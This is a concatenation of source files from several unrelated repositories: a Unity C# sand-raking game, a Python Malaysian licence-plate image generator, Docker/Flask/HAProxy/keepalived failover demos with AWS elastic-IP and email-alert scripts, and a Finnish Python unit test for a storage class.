if (Input.GetMouseButtonUp(0)) SoundManager.Instance.StopPlaying();
if (Input.GetMouseButtonDown(0))
{
hitSand = false;
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
if (hitInfo.collider.tag == "sand")
{
int x = (int)(hitInfo.point.x / meshScale);
int z = (int)(hitInfo.point.z / meshScale);
downPoint.x = x;
downPoint.z = z;
hitSand = true;
SoundManager.Instance.PlayCurveClip();
}
else if (hitInfo.collider.tag == "rock")
{
previousActionMode = actionMode;
actionMode = ActionMode.draggingRock;
rockBeingDragged = hitInfo.collider.gameObject;
rockBeingDragged.GetComponent<MeshCollider>().enabled = false;
}
}
}
else if (Input.GetMouseButtonUp(0) || Input.GetMouseButton(0))
{
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
if (hitInfo.collider.tag == "sand" && hitSand)
{
int x = (int)(hitInfo.point.x / meshScale);
int z = (int)(hitInfo.point.z / meshScale);
Vector3 thisHit = new Vector3(x, 0, z);
if ((downPoint - thisHit).magnitude < 4f) return;
upPoint.x = x;
upPoint.z = z;
StartCoroutine(MakeCurve());
}
}
}
}
private void Flatten()
{
if(Input.GetMouseButtonUp(0)) SoundManager.Instance.StopPlaying();
if (Input.GetMouseButtonDown(0))
{
hitSand = false;
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
if (hitInfo.collider.tag == "sand")
{
int x = (int)(hitInfo.point.x / meshScale);
int z = (int)(hitInfo.point.z / meshScale);
downPoint.x = x;
downPoint.z = z;
hitSand = true;
SoundManager.Instance.PlayFlattenClip();
}
else if (hitInfo.collider.tag == "rock")
{
previousActionMode = actionMode;
actionMode = ActionMode.draggingRock;
rockBeingDragged = hitInfo.collider.gameObject;
rockBeingDragged.GetComponent<MeshCollider>().enabled = false;
}
}
}
else if (Input.GetMouseButtonUp(0) || Input.GetMouseButton(0))
{
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
if (hitInfo.collider.tag == "sand" && hitSand)
{
int x = (int)(hitInfo.point.x / meshScale);
int z = (int)(hitInfo.point.z / meshScale);
Vector3 thisHit = new Vector3(x, 0, z);
if ((downPoint - thisHit).magnitude < 4f) return;
upPoint.x = x;
upPoint.z = z;
StartCoroutine(MakeFlat());
}
}
}
}
private void Rake()
{
if (free)
{
if (Input.GetMouseButtonDown(0))
{
hitSand = false;
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
if (hitInfo.collider.tag == "sand")
{
int x = (int)(hitInfo.point.x / meshScale);
int z = (int)(hitInfo.point.z / meshScale);
downPoint.x = x;
downPoint.z = z;
hitSand = true;
}
else if (hitInfo.collider.tag == "rock")
{
previousActionMode = actionMode;
actionMode = ActionMode.draggingRock;
rockBeingDragged = hitInfo.collider.gameObject;
rockBeingDragged.GetComponent<MeshCollider>().enabled = false;
}
}
}
if (Input.GetMouseButtonUp(0))
{
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
if (hitInfo.collider.tag == "sand" && hitSand)
{
int x = (int)(hitInfo.point.x / meshScale);
int z = (int)(hitInfo.point.z / meshScale);
upPoint.x = x;
upPoint.z = z;
free = false;
Cursor.visible = false;
timesLeft = 1;
//StartCoroutine(SingleSplash());
SoundManager.Instance.PlayLineClip();
}
}
}
}
}
private void DragRock()
{
rockBeingDragged.gameObject.GetComponent<Rigidbody>().velocity = Vector3.zero;
RaycastHit hitInfo = new RaycastHit();
bool hit = Physics.Raycast(Camera.main.ScreenPointToRay(Input.mousePosition), out hitInfo);
if (hit)
{
rockBeingDragged.transform.position = hitInfo.point + 1f * Vector3.up;
}
else
{
actionMode = previousActionMode;
rockBeingDragged.GetComponent<MeshCollider>().enabled = true;
}
if (Input.GetMouseButtonUp(0))
{
actionMode = previousActionMode;
rockBeingDragged.GetComponent<MeshCollider>().enabled = true;
}
}
int lastUpdate = 0;
// Update is called once per frame
void FixedUpdate()
{
switch (actionMode)
{
case ActionMode.rake:
if (timesLeft-- > 0)
{
StartCoroutine(Raking());
}
else
{
free = true;
Cursor.visible = true;
}
break;
}
if (lastUpdate++ < 10) return;
lastUpdate = 0;
List<Vector2> uvs = new List<Vector2>();
List<Vector3> vertices = new List<Vector3>();
for (int i = 0; i < h; i++)
{
for (int j = 0; j < w; j++)
{
//heights[j * w + i] += Random.Range(-0.1f, 0.1f);
vertices.Add(meshScale * new Vector3((float)i, heights[j * w + i], (float)j));
float x = 2f * (float)i / (float)w;
float y = 4f * (float)j / (float)h;
uvs.Add(new Vector2(x, y));
}
}
List<int> triangles = new List<int>();
for (int i = 0; i < h - 1; i++)
{
for (int j = 0; j < w - 1; j++)
{
triangles.Add(j * w + i);
triangles.Add(j * w + i + 1);
triangles.Add((j + 1) * w + i);
triangles.Add((j + 1) * w + i + 1);
triangles.Add((j + 1) * w + i);
triangles.Add(j * w + i + 1);
}
}
mesh.Clear();
mesh.vertices = vertices.ToArray();
mesh.triangles = triangles.ToArray();
mesh.uv = uvs.ToArray();
mesh.RecalculateNormals();
}
int timesLeft = 0;
private ActionMode previousActionMode;
IEnumerator Raking()
{
int downX = (int)downPoint.x;
int upX = (int)upPoint.x;
int downZ = (int)downPoint.z;
int upZ = (int)upPoint.z;
if (downX == upX && downZ == upZ)
{
//make a splash instead of a line
}
else
{
float s = 10;
float distanceFromLine = 0;
//float distanceBetweenPoints = Vector2.Distance(new Vector2(downX, downZ), new Vector2(upX, upZ));
for (int z = 0; z < h; z++)
{
for (int x = 0; x < w; x++)
{
distanceFromLine = Mathf.Abs((upZ - downZ) * x - (upX - downX) * z + upX * downZ - upZ * downX)
/ Mathf.Sqrt((upZ - downZ) * (upZ - downZ) + (upX - downX) * (upX - downX));
if (distanceFromLine < s)
{
float distanceFromUp = Mathf.Sqrt((x - upX) * (x - upX) + (z - upZ) * (z - upZ));
float distanceFromDown = Mathf.Sqrt((x - downX) * (x - downX) + (z - downZ) * (z - downZ));
float distanceBetweenPoints = Mathf.Sqrt((downX - upX) * (downX - upX) + (downZ - upZ) * (downZ - upZ));
if (distanceFromUp * distanceFromUp < s * s + distanceBetweenPoints * distanceBetweenPoints &&
distanceFromDown * distanceFromDown < s * s + distanceBetweenPoints * distanceBetweenPoints)
{
float desiredHeight = heightScale * Mathf.Cos(2f * distanceFromLine);
// heights[z * w + x] = Mathf.Lerp(heights[z * w + x], desiredHeight, Time.deltaTime);
if (additive)
{
heights[z * w + x] += (1 - timesLeft) * desiredHeight;// * Time.deltaTime;
}
else
{
heights[z * w + x] = (1 - timesLeft) * desiredHeight;
}
}
}
}
}
}
yield return (0.1f);
}
IEnumerator MakeCurve()
{
int downX = (int)downPoint.x;
int upX = (int)upPoint.x;
int downZ = (int)downPoint.z;
int upZ = (int)upPoint.z;
if (downX == upX && downZ == upZ)
{
//make a splash instead of a line
}
else
{
float s = 10;
float distanceFromLine = 0;
//float distanceBetweenPoints = Vector2.Distance(new Vector2(downX, downZ), new Vector2(upX, upZ));
for (int z = 0; z < h; z++)
{
for (int x = 0; x < w; x++)
{
distanceFromLine = Mathf.Abs((upZ - downZ) * x - (upX - downX) * z + upX * downZ - upZ * downX)
/ Mathf.Sqrt((upZ - downZ) * (upZ - downZ) + (upX - downX) * (upX - downX));
if (distanceFromLine < s)
{
float distanceFromUp = Mathf.Sqrt((x - upX) * (x - upX) + (z - upZ) * (z - upZ));
float distanceFromDown = Mathf.Sqrt((x - downX) * (x - downX) + (z - downZ) * (z - downZ));
float distanceBetweenPoints = Mathf.Sqrt((downX - upX) * (downX - upX) + (downZ - upZ) * (downZ - upZ));
if (distanceFromUp * distanceFromUp < s * s + distanceBetweenPoints * distanceBetweenPoints &&
distanceFromDown * distanceFromDown < s * s + distanceBetweenPoints * distanceBetweenPoints)
{
float desiredHeight = heightScale * Mathf.Cos(2f * distanceFromLine);
// heights[z * w + x] = Mathf.Lerp(heights[z * w + x], desiredHeight, Time.deltaTime);
if (additive)
{
heights[z * w + x] += desiredHeight;
}
else
{
heights[z * w + x] = desiredHeight;
}
}
}
}
}
}
downPoint = upPoint;
yield return (0.1f);
}
IEnumerator MakeFlat()
{
int downX = (int)downPoint.x;
int upX = (int)upPoint.x;
int downZ = (int)downPoint.z;
int upZ = (int)upPoint.z;
if (downX == upX && downZ == upZ)
{
//make a splash instead of a line
}
else
{
float s = 10;
float distanceFromLine = 0;
//float distanceBetweenPoints = Vector2.Distance(new Vector2(downX, downZ), new Vector2(upX, upZ));
for (int z = 0; z < h; z++)
{
for (int x = 0; x < w; x++)
{
distanceFromLine = Mathf.Abs((upZ - downZ) * x - (upX - downX) * z + upX * downZ - upZ * downX)
/ Mathf.Sqrt((upZ - downZ) * (upZ - downZ) + (upX - downX) * (upX - downX));
if (distanceFromLine < s)
{
float distanceFromUp = Mathf.Sqrt((x - upX) * (x - upX) + (z - upZ) * (z - upZ));
float distanceFromDown = Mathf.Sqrt((x - downX) * (x - downX) + (z - downZ) * (z - downZ));
float distanceBetweenPoints = Mathf.Sqrt((downX - upX) * (downX - upX) + (downZ - upZ) * (downZ - upZ));
if (distanceFromUp * distanceFromUp < s * s + distanceBetweenPoints * distanceBetweenPoints &&
distanceFromDown * distanceFromDown < s * s + distanceBetweenPoints * distanceBetweenPoints)
{
float desiredHeight = heightScale * Mathf.Cos(2f * distanceFromLine);
// heights[z * w + x] = Mathf.Lerp(heights[z * w + x], desiredHeight, Time.deltaTime);
heights[z * w + x] = 0f;
}
}
}
}
}
downPoint = upPoint;
yield return (0.1f);
}
IEnumerator MakeCircle()
{
float s = (downPoint-upPoint).magnitude;
float distanceFromPoint = 0;
for (int z = 0; z < h; z++)
{
for (int x = 0; x < w; x++)
{
distanceFromPoint = (downPoint - new Vector3(x, 0, z)).magnitude;
if (distanceFromPoint < s)
{
float desiredHeight = heightScale * Mathf.Cos(2f * distanceFromPoint);
if (additive)
{
heights[z * w + x] += desiredHeight;
}
else
{
heights[z * w + x] = desiredHeight;
}
}
}
}
yield return (0.1f);
}
public void SetAdditive(bool value)
{
additive = value;
}
}
<file_sep>/Assets/Scripts/ZenRock.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ZenRock : MonoBehaviour {
void OnCollisionEnter(Collision collision )
{
string tag = collision.collider.tag;
if (tag == "sand" || tag == "rock")
{
SoundManager.Instance.PlayRockClip();
}
print(tag);
}
}
<file_sep>/Assets/Scripts/MainCameraScript.cs
using UnityEngine;
using System.Collections;
public enum VehicleType { biped, simpleCar}
public class MainCameraScript : MonoBehaviourSingleton<MainCameraScript>
{
private Transform pivotTarget;
private Vector3 offset;
Transform cameraTransform;
Transform lastTransform;
public float moveLag = 5;
public float rotLag = 10;
private float zDistanceFromTarget;
public float zoomLag;
void Start()
{
cameraTransform = GetComponentInChildren<Camera>().transform;
pivotTarget = this.transform; //temporary
}
public void SetCameraTargets(Transform trans, Vector3 offset)
{
pivotTarget = trans;
lastTransform = trans;
zDistanceFromTarget = offset.z;
}
public void LateUpdate()
{
if (cameraTransform.localPosition.z <= -3)
{
transform.position = Vector3.Lerp(transform.position, pivotTarget.position, moveLag * Time.deltaTime);
transform.rotation = Quaternion.Slerp(transform.rotation, pivotTarget.rotation, rotLag * Time.deltaTime);
}
else
{
transform.position = pivotTarget.position;
transform.rotation = pivotTarget.rotation;
}
if (Input.GetAxis("Mouse ScrollWheel") != 0)
{
zDistanceFromTarget += Input.GetAxis("Mouse ScrollWheel") * 20;
}
if (zDistanceFromTarget != transform.localPosition.z)
{
Vector3 temp = cameraTransform.localPosition;
temp.z = Mathf.Lerp(cameraTransform.localPosition.z, zDistanceFromTarget, zoomLag * Time.deltaTime);
if (temp.z > 0) temp.z = 0;
offset = temp;
cameraTransform.localPosition = temp;
}
}
}
|
e6d20920b734c0805f98ae63df8d0197befea389
|
[
"C#"
] | 7
|
C#
|
DennisMac/WGJ16
|
691a6e076a9e60d045edd6f4255f73dc57c92115
|
e4898fa1ef63b4991c72f1b9f6045d710c505bbd
|
refs/heads/master
|
<file_sep>import cv2
import argparse
import matplotlib.pyplot as plt
from os import listdir
# Parser
parser = argparse.ArgumentParser()
parser.add_argument('--image', '-i', help="Pass in image to reverse")
parser.add_argument('--write', '-w', type=bool, nargs='?', default=True, help="Save reversed image in same directory")
parser.add_argument('--display', '-d', type=bool, nargs='?', const=True, default=False, help="Display original and reversed image")
parser.add_argument('--directory', '-r', type=str, default=None, help="Loop file in directory")
args = parser.parse_args()
# Dir
if args.directory is not None:
for f in listdir(args.directory):
file_full_path = args.directory + '/' + f
img = cv2.imread(file_full_path, cv2.IMREAD_UNCHANGED)
imgRev = (255 - img)
newDir = args.directory + "/reversed_" + f
cv2.imwrite(newDir, imgRev)
else:
# Main
imgPath = args.image
img = cv2.imread(imgPath, cv2.IMREAD_UNCHANGED)
imgRev = (255 - img)
name = imgPath.split('/')[-1]
dir = "/".join(imgPath.split('/')[:-1])
# Write Image
if args.write:
newDir = dir + "/reversed_" + name
cv2.imwrite(newDir, imgRev)
# Display
if args.display:
f, ui = plt.subplots(2)
ui[0].imshow(img)
ui[1].imshow(imgRev)
plt.show()<file_sep>import cv2
from os import listdir
import argparse
# Parser
parser = argparse.ArgumentParser()
parser.add_argument("--directory", '-d', required=True, type=str, help="Pass in directory to resize")
parser.add_argument("--height", default=200, type=int)
parser.add_argument("--width", default=100, type=int)
args = parser.parse_args()
# List all file in dir
for f in listdir(args.directory):
path = args.directory + '/' + f
img = cv2.imread(path)
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
resized = cv2.resize(img, (args.width, args.height))
# Save result
cv2.imwrite(path, resized)
<file_sep>
#!/bin/bash
for i in single double
do
python3 main.py --total_plate 10 --state Perak --plate_type ${i}
python3 main.py --total_plate 10 --state Selangor --plate_type ${i}
python3 main.py --total_plate 10 --state Pahang --plate_type ${i}
python3 main.py --total_plate 10 --state Kelantan --plate_type ${i}
python3 main.py --total_plate 10 --state Putrajaya --plate_type ${i}
python3 main.py --total_plate 10 --state Johor --plate_type ${i}
python3 main.py --total_plate 10 --state Kedah --plate_type ${i}
python3 main.py --total_plate 10 --state Malacca --plate_type ${i}
python3 main.py --total_plate 10 --state 'Negeri Sembilan' --plate_type ${i}
python3 main.py --total_plate 10 --state Penang --plate_type ${i}
python3 main.py --total_plate 10 --state Perlis --plate_type ${i}
python3 main.py --total_plate 10 --state 'Kuala Lumpur(1)' --plate_type ${i}
python3 main.py --total_plate 10 --state 'Kuala Lumpur(2)' --plate_type ${i}
python3 main.py --total_plate 10 --state Sarawak --plate_type ${i}
python3 main.py --total_plate 10 --state Sabah --plate_type ${i}
done
python3 main.py --total_plate 10 --plate_type 'putrajaya'<file_sep>import cv2
import os
import random
import logging
import string
class Generator():
def getCharPath(self, alphabet, font, plate_type):
if plate_type == "putrajaya":
path = str(os.getcwd()) + '/data/Calisto/reversed/{}.png'.format(alphabet)
return path
path = str(os.getcwd()) + '/data/{}/reversed/characters/{}.png'.format(font, alphabet)
return path
def getRandomPlate(self, stateName, front_alpha_num, num_num, variant, plate_type):
# Constant
state = {"Perak": "A", "Selangor": "B", "Pahang": "C", "Kelantan": "D", "Putrajaya": "F",
"Johor": "J", "Kedah": "K", "Malacca": "M", "Negeri Sembilan": "N", "Penang": "P",
"Perlis": "R", "Kuala Lumpur(1)": "W", "Kuala Lumpur(2)": "V", "Sarawak": "Q", "Sabah": "S"}
alphabets_number = ["A", "B", "C", "D", "E", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q",
"R", "S", "T", "U", "V", "W", "X", "Y"]
special = 'Putrajaya'
first_num = ["1","2","3","4","5","6","7","8","9"]
other_num = ["0","1","2","3","4","5","6","7","8","9"]
# Variables
firstNum = random.choice(first_num)
alphabets_group = state[stateName]
number_group = firstNum
# First alpha is set to be state so minus 1
for x in range(front_alpha_num- 1):
alphabets_group += random.choice(alphabets_number)
# First number is set so minus 1
for y in range(num_num - 1):
number_group += random.choice(other_num)
# Putrajaya plate
if plate_type == "putrajaya":
plate = special + ' ' + number_group
return plate
plate = alphabets_group + number_group
# Add a single alphabets at last
if variant:
last_alpha = random.choice(alphabets_number)
plate += last_alpha
return plate
def readImage(self, imgPath):
img = cv2.imread(imgPath)
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
return img
def generatePlates(self, plate_type, total_plate, variant_plate ,state, alphabet_num, number_num, font_type, display):
# Import plate type
plate_path = str(os.getcwd()) + '/data/backplate/'
if plate_type == "double":
name = 'double_line_backplate.jpg'
back_plate = self.readImage(plate_path+name)
else:
name = 'single_line_backplate.jpg'
back_plate = self.readImage(plate_path+name)
# Loop for several times
for count in range(total_plate):
# Generate random car plate
plate_number = self.getRandomPlate(state, alphabet_num, number_num, variant_plate, plate_type)
print("Generating fake car plate for {}".format(plate_number))
# Import characters based on plate number
# Merge backplate and characters
print("Merging backplate and characters...")
# Constant
# X and y starting
y_offset=25
x_offset = 50
# Remaining space for characters
remaining_space = back_plate.shape[1] - (x_offset*2)
alphabetsString = string.ascii_uppercase
# Space remaining for font
per_space = int(remaining_space / len(plate_number))
# Y starting point for second row
remaining_space_y = back_plate.shape[0] - (y_offset*2)
secondHalf = y_offset + int(remaining_space_y / 2)
if plate_type == "single":
for alphabet in plate_number:
charPath = self.getCharPath(alphabet, font_type, plate_type)
img = self.readImage(charPath)
back_plate[y_offset:y_offset+img.shape[0], x_offset:x_offset+img.shape[1]] = img
x_offset += per_space
elif plate_type == "putrajaya":
listPlate = plate_number.split(" ")
putraChar = listPlate[0]
remainChar = listPlate[1]
putraCharPath = self.getCharPath("Putrajaya", font_type, plate_type)
putraImg = self.readImage(putraCharPath)
back_plate[y_offset:y_offset+putraImg.shape[0], x_offset:x_offset+putraImg.shape[1]] = putraImg
x_offset += putraImg.shape[1]
plate_type = "single"
for alphabet in remainChar:
charPath = self.getCharPath(alphabet, font_type, plate_type)
img = self.readImage(charPath)
back_plate[y_offset:y_offset+img.shape[0], x_offset:x_offset+img.shape[1]] = img
x_offset += img.shape[1] + 25
plate_type = "putrajaya"
elif plate_type == "double":
front_alpha = ''
back_num = ''
first_x_offset = second_x_offset = x_offset
first_x_offset = 100
second_x_offset = 50
for alphabet in plate_number:
if alphabet in alphabetsString:
front_alpha += alphabet
else:
back_num += alphabet
first_remaining_space = back_plate.shape[1] - (first_x_offset*2)
second_remaining_space = back_plate.shape[1] - (second_x_offset*2)
first_per_space = int(first_remaining_space / len(front_alpha))
second_per_space = int(second_remaining_space / len(back_num))
for alphabet in front_alpha:
charPath = self.getCharPath(alphabet, font_type, plate_type)
img = self.readImage(charPath)
back_plate[y_offset:y_offset+img.shape[0], first_x_offset:first_x_offset+img.shape[1]] = img
first_x_offset += first_per_space
for alphabet in back_num:
y_offset = secondHalf
charPath = self.getCharPath(alphabet, font_type, plate_type)
img = self.readImage(charPath)
back_plate[y_offset:y_offset+img.shape[0], second_x_offset:second_x_offset+img.shape[1]] = img
second_x_offset += second_per_space
# Show if want
if display:
print("Showing output")
cv2.imshow("Generated plate", back_plate)
cv2.waitKey(0)
cv2.destroyAllWindows()
# Save output
print("Fake car plate, {} is saved".format(plate_number))
dest_path = str(os.getcwd()) + '/data/generated_plates/{}.jpg'.format(plate_number)
cv2.imwrite(dest_path, back_plate)
return
<file_sep># Malaysia License Plate Generator
###
### This repository contains:
- Generate malaysia car plate for Automatic Car Plate Recognition training
- Create one line or two line car plate
- Augmentation for different rotations and lightining
<br />
###
# Malaysia License Plate

#### <p align='center'>Above is a common malaysia car plate</p>
<br />
### The Malaysia License Plate follows the "Sxx ####" **format**:
- 'S' is state prefix
- 'x' is the alphabetical sequences
- '#' is the number sequences
- The font type can be any easy to read typeface such as Arial Bold and Charles Wright
<br />
### However, there are several **exceptions** on the format where:
- No leading 0 in number sequences
- The alphabetical number, 'O' and 'I' is omitted due to similiar with number 0 and 1
- The alphabetical number, 'Z' is omitted to reserved for Malaysian military used
<br />
### Commemorative Plates

- Commemorative plates have specific alphabetical sequences which ignore the standard format
- For example, Putrajaya series uses calisto italic font and start without following the standard format
### Total number characters
#### There will be around 5 - 8 numbers for standard format
<br />
# How to Use
### Generate 5 fake car plate with default settings
```
python3 main.py --total_plate 5
```
### Display help instructions and default settings in console
```
python3 main.py --help
```
<br />
# Results
## Here are the results of the generator
### Single line

### Double line

### Putrajaya

#### Putrajaya only support single line
<br />
# Reference
- https://en.wikipedia.org/wiki/Vehicle_registration_plates_of_Malaysia<file_sep>from fake_plate_generator import Generator
import argparse
import os
'''
Parameters for generators:
1. state (string) = The first alphabets for car plate based on state and territory, must enter full state name
Example:
"Perak": "A", "Selangor": "B", "Pahang": "C", "Kelantan": "D", "Putrajaya": "F",
"Johor": "J", "Kedah": "K", "Malacca": "M", "Negeri Sembilan": "N", "Penang": "P",
"Perlis": "R", "Kuala Lumpur(1)": "W", "Kuala Lumpur(2)": "V", "Sarawak": "Q", "Sabah": "S"
2. plate_type (string) = The type of plate
Example:
"single", "double", "putrajaya
3. variant_plate (boolean) = add a random alphabet at back
4. total_plate (integer) = number of plate generated
5. alphabet_num (integer) = number of alphabet in plate (1 - 3)
6. number_num (integer) = number of numerical number in plate (1 -4)
7. font_type (string) =
Example:
"Arial_Bold", "Charles_Wright
8. display (boolean) = display result
'''
# parser
parser = argparse.ArgumentParser()
parser.add_argument("--plate_type", type=str, help="type of plate. Eg: 'single', 'double', 'putrajaya'", default="single")
parser.add_argument("--total_plate", required=True, type=int, help="number of plate generated")
parser.add_argument("--variant", type=bool, default=False, help="add a random alphabet at back")
parser.add_argument("--state", type=str, default="Penang", help=
"The first alphabets for car plate based on state and territory, must enter full state name Example: 'Perak': 'A', 'Selangor': 'B', 'Pahang': 'C', 'Kelantan': 'D', 'Putrajaya': 'F', 'Johor': 'J', 'Kedah': 'K', 'Malacca': 'M', 'Negeri Sembilan': 'N', 'Penang': 'P', 'Perlis': 'R', 'Kuala Lumpur(1)': 'W', 'Kuala Lumpur(2)': 'V', 'Sarawak': 'Q', 'Sabah': 'S'")
parser.add_argument("--alphabet_num", type=int, default=3, help="number of alphabet in plate (1 - 3)")
parser.add_argument("--number_num", type=int, default=4, help="number of numerical number in plate (1 -4)")
parser.add_argument("--font_type", type=str, default="Arial_Bold", help="The font type. There are 'Arial_Bold', 'Charles_Wright'")
parser.add_argument("--display", type=bool, default=False, help="display result")
args = parser.parse_args()
# Main
cwd = os.getcwd()
destination = cwd + '/data/generated_plates'
# Create directory if not exist
if not os.path.exists(destination):
os.mkdir(destination)
gen = Generator()
gen.generatePlates(args.plate_type, args.total_plate, args.variant, args.state, args.alphabet_num, args.number_num, args.font_type, args.display)<file_sep>import cv2
import os
import string
print(os.getcwd())
print(os.path.isdir('../data'))
|
948ff43158f7e86266db7e516ba0dfa47f65937e
|
[
"Markdown",
"Python",
"Shell"
] | 7
|
Python
|
dnth/Malaysia_License_Plate_Generator
|
46d8499208c217d3892769d4a4beaaccaf600bcc
|
f96665ccd1704bd989acdc79970291a109da3603
|
refs/heads/master
|
<repo_name>ChongDeng/DockerRelaunch<file_sep>/dockerfile_demo2/test.sh
#!/bin/bash
case $1 in
start)
echo "start"
;;
stop)
echo "stop"
;;
restart)
echo "restart"
;;
esac
<file_sep>/demo4_compose_redis_with_flask/app.py
from flask import Flask
from redis import Redis
app = Flask(__name__)
redis = Redis(host='redis', port = 6379)
@app.route('/')
def hello():
redis.incr('hits')
return 'hello, scut. I have been accessed by %s times' % redis.get('hits')
if __name__ == "__main__":
app.run(host='0.0.0.0', debug = True)
#app.run(host='0.0.0.0', port = 8081)
<file_sep>/dockerfile_demo2/Dockerfile
# Pull base image
FROM ubuntu
MAINTAINER fqyang
# update source
#RUN echo "deb http://archive.ubuntu.com/ubuntu precise main universe"> /etc/apt/sources.list
#RUN apt-get update
# Install curl
#RUN apt-get -y install curl
# Install JDK 8
WORKDIR /tmp
ADD jdk-8u181-linux-x64.tar.gz .
RUN mkdir -p /usr/lib/jvm
RUN mv /tmp/jdk1.8.0_181/ /usr/lib/jvm/java8/
ENV JAVA_HOME /usr/lib/jvm/java8/
# Install tomcat7
ADD apache-tomcat-7.0.91.tar.gz .
RUN mv /tmp/apache-tomcat-7.0.91 /opt/tomcat7/
ENV CATALINA_HOME /opt/tomcat7
ENV PATH $PATH:$CATALINA_HOME/bin
ADD tomcat7.sh /etc/init.d/tomcat7
RUN chmod 755 /etc/init.d/tomcat7
# Expose ports.
EXPOSE 8080
# Define default command.
ENTRYPOINT service tomcat7 start && tail -f /opt/tomcat7/logs/catalina.out
<file_sep>/demo7_keepalived_haproxy/app.py
from flask import Flask
import socket
app = Flask(__name__)
@app.route('/')
def hello():
HostName = socket.gethostname()
HostIP = socket.gethostbyname(HostName)
return "Hello! My Hostname is" + HostName + ". My IP is " + HostIP
if __name__ == "__main__":
#app.run(host='0.0.0.0', debug = True)
app.run(host='0.0.0.0', port = 80)
<file_sep>/demo10_keepalived_haproxy_with_check_script/check_haproxy.sh
#!/bin/bash
haproxy_docker_id="86cd04b0d1d7"
cmd=`docker container ls | grep $haproxy_docker_id`
if test -z "$cmd"; then
echo "container $haproxy_docker_id is not running"
docker container start $haproxy_docker_id
if [ $? -ne 0 ]; then
echo "can't start docker now! `date`"
service keepalived stop
else
echo "restart docker successfully now! `date`"
fi
else
echo "container $haproxy_docker_id is running"
fi
<file_sep>/demo9_aws_keepalived_haproxy_email/add_eip_slave.sh
#!/bin/bash
/usr/bin/python3 /root/keepalived_haproxy/email/send_email_slave.py
#弹性ip地址(公网ip)
EIP=192.168.127.12
#此服务器(EC2)的实例的id
INSTANCE_ID=i-0adc75f1d7d81764b
aws ec2 disassociate-address --public-ip $EIP
aws ec2 associate-address --public-ip $EIP --instance-id $INSTANCE_ID
<file_sep>/demo3_link_redis_to_flask/requirements.txt
Flask==0.10.1
redis==2.10.6
<file_sep>/demo9_aws_keepalived_haproxy_email/add_eip.sh
#!/bin/bash
/usr/bin/python3 /root/keepalived_haproxy/email/send_email_master.py
#弹性ip地址(公网ip)
EIP=172.16.31.10
#此服务器(EC2)的实例的id
INSTANCE_ID=i-0cb4ddff3450826b1
aws ec2 disassociate-address --public-ip ${EIP}
aws ec2 associate-address --public-ip ${EIP} --instance-id ${INSTANCE_ID}
<file_sep>/demo10_keepalived_haproxy_with_check_script/add_eip.sh
#!/bin/bash
cd /home/fqyang
mkdir cao_ni_da_ye
<file_sep>/dockerfile_demo2/tomcat7.sh
#!/bin/bash
export JAVA_HOME=/usr/lib/jvm/java8/
export TOMCAT_HOME=/opt/tomcat7
export PATH=$JAVA_HOME/bin:$PATH
case $1 in
start)
sh $TOMCAT_HOME/bin/startup.sh
;;
stop)
sh $TOMCAT_HOME/bin/shutdown.sh
;;
restart)
sh $TOMCAT_HOME/bin/startup.sh
sh $TOMCAT_HOME/bin/shutdown.sh
;;
esac
<file_sep>/demo10_keepalived_haproxy_with_check_script/email/send_email.py
import os
import smtplib
from email import encoders
from email.header import Header
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
def write_log(content):
fo = open("/home/fqyang/out.txt", "a+")
str = content
fo.write( str + "\n")
def email_test1():
Sender = "8<EMAIL>"
#Password = os.environ.get('QQ_IMAP_CODE')
Password="<PASSWORD>"
Receiver = "<EMAIL>"
msg = MIMEText("时间:10:08 PM")
msg["Subject"] = "主服务器宕机,现在已自动切换到备份服务器!"
msg["From"] = Sender
msg["To"] = Receiver
try:
s = smtplib.SMTP_SSL("smtp.qq.com", 465)
s.login(Sender, Password)
s.sendmail(Sender, Receiver, msg.as_string())
s.quit()
print("Success!")
except smtplib.SMTPException as e:
print("Falied! Error is %s" % e)
if __name__ == "__main__":
email_test1()
<file_sep>/demo5_compose_HAProxy_flask/app.py
from flask import Flask
import socket
app = Flask(__name__)
@app.route('/')
def hello():
return "Hello from FLASK. My Hostname is: %s \n" % (socket.gethostname())
if __name__ == "__main__":
#app.run(host='0.0.0.0', debug = True)
app.run(host='0.0.0.0', port = 80)
|
5f772d8cd1be18302f946e5922f77234a465d858
|
[
"Python",
"Text",
"Dockerfile",
"Shell"
] | 12
|
Shell
|
ChongDeng/DockerRelaunch
|
f863d315b2c8c60bda3bd44003c0a5b4e1c49824
|
7b189e846e05dc55b12a1931c9e0fe761fafc54d
|
refs/heads/main
|
<file_sep>import unittest
from varasto import Varasto
class TestVarasto(unittest.TestCase):
def setUp(self):
self.varasto = Varasto(10)
def test_konstruktori_luo_tyhjan_varaston(self):
# https://docs.python.org/3/library/unittest.html#unittest.TestCase.assertAlmostEqual
self.assertAlmostEqual(self.varasto.saldo, 0)
def test_uudella_varastolla_oikea_tilavuus(self):
self.assertAlmostEqual(self.varasto.tilavuus, 10)
def test_lisays_lisaa_saldoa(self):
self.varasto.lisaa_varastoon(8)
self.assertAlmostEqual(self.varasto.saldo, 8)
def test_lisays_lisaa_pienentaa_vapaata_tilaa(self):
self.varasto.lisaa_varastoon(8)
# vapaata tilaa pitäisi vielä olla tilavuus-lisättävä määrä eli 2
self.assertAlmostEqual(self.varasto.paljonko_mahtuu(), 2)
def test_ottaminen_palauttaa_oikean_maaran(self):
self.varasto.lisaa_varastoon(8)
saatu_maara = self.varasto.ota_varastosta(2)
self.assertAlmostEqual(saatu_maara, 2)
